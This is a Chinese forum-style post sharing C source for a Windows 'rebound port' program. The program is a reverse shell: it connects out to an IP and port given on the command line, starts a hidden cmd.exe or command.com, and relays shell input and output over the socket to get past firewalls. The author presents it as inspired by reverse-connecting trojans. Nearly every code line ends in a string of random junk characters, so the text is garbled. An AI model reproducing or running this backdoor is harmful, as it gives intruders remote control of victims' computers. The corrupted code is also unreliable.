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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NJl|/(]v  
M;Vx[s,#,  
/* ============================== 8a?V h^  
Rebound port in Windows NT 3wR5:O$H  
By wind,2006/7 cW&OVNj  
===============================*/ ;e jC:3yO  
#include 5@ ZD'  
#include ?6j@EJ<2q  
=~aJ]T}(  
#pragma comment(lib,"wsock32.lib") eW >k'ez  
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void OutputShell(); k7W8$8 v  
SOCKET sClient; N pRC3^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VCc4nn#  
T 86}^=-5  
void main(int argc,char **argv) kP;Rts8JD  
{ ]Uxx_1$,  
WSADATA stWsaData; b$gDFNa  
int nRet; )UJ]IB-Q|1  
SOCKADDR_IN stSaiClient,stSaiServer; _bMs~%?~/  
 'Z&A5\~  
if(argc != 3) [|F.*06SK  
{ }){hQt7  
printf("Useage:\n\rRebound DestIP DestPort\n"); {h@R\bU  
return; z1]RwbA?1  
} DDkO g]  
uNx3us-  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,[ Ytl  
C2`END;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vx#xq#wK  
zSq+#O1#  
stSaiClient.sin_family = AF_INET; aMj3ov8p  
stSaiClient.sin_port = htons(0); 7`WK1_rR\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }Rt<^oya*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 74Kl!A  
{ +*|E%pq  
printf("Bind Socket Failed!\n"); >)VrbPRuA  
return; ="I]D I  
} !A<?nz Uv  
{(aJrSE<z  
stSaiServer.sin_family = AF_INET; }S42.f.p  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m*a0V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (oTx*GP>Y  
^Nc\D7( l  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y*7.3 +#  
{  kU#$  
printf("Connect Error!"); U1&m-K  
return; u37+B  
} q=6M3OnS>  
OutputShell(); Zo&U3b{Dy  
} kszYbz"  
\s)j0F)  
void OutputShell() jN B-FVaT  
{ k-w._E <  
char szBuff[1024]; O"{NHNG\oT  
SECURITY_ATTRIBUTES stSecurityAttributes; Pu}2%P)p  
OSVERSIONINFO stOsversionInfo; KWd]?e)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ousoG$Pc  
STARTUPINFO stStartupInfo; ^srx/6X  
char *szShell; (s \Nm_j  
PROCESS_INFORMATION stProcessInformation; L%=u&9DmU  
unsigned long lBytesRead; DuCq16'0T  
:@n e29,}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uS<&$J H  
*!B,|]wq=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .+ _x|?'  
stSecurityAttributes.lpSecurityDescriptor = 0; <.:B .k  
stSecurityAttributes.bInheritHandle = TRUE; U?.VY@  
jgukW7H  
`A?/Ww>;  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5 kQC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  /pV^w  
hGzj}t W8d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Nhuw8Xv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rw58bkh6  
stStartupInfo.wShowWindow = SW_HIDE; bY]aADv\  
stStartupInfo.hStdInput = hReadPipe; Xo$(zGb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -u8 ma%JW  
7TlOF  
GetVersionEx(&stOsversionInfo); 2}hEBw68  
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switch(stOsversionInfo.dwPlatformId) [9*+s  
{ $1/yc#w u  
case 1: joYj`K  
szShell = "command.com"; Y+lZT4w  
break; 'BtvT[KM  
default: lP0'Zg(  
szShell = "cmd.exe"; [N.4 i" Cd  
break; UG 9uNgzQ/  
} X8y&|uH  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +>Y2luR1  
8,=,'gFO  
send(sClient,szMsg,77,0); 08cC rG  
while(1) eY;XF.mF  
{ =`99ez+y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RQ!kVM@  
if(lBytesRead) [Vc8j&:L  
{ M;-PrJdyt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o4\\q66K  
send(sClient,szBuff,lBytesRead,0); 'H zF/RKh  
} iTwb#Q=  
else 4ba[*R2  
{ :tdN#m6&  
lBytesRead=recv(sClient,szBuff,1024,0); 2.qEy6  
if(lBytesRead<=0) break; o7;lR?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YZMSiDv[e  
} Vo"Wr>F  
} `1{Y9JdQ  
kc-=5l  
return; 3f@@|vZF  
}
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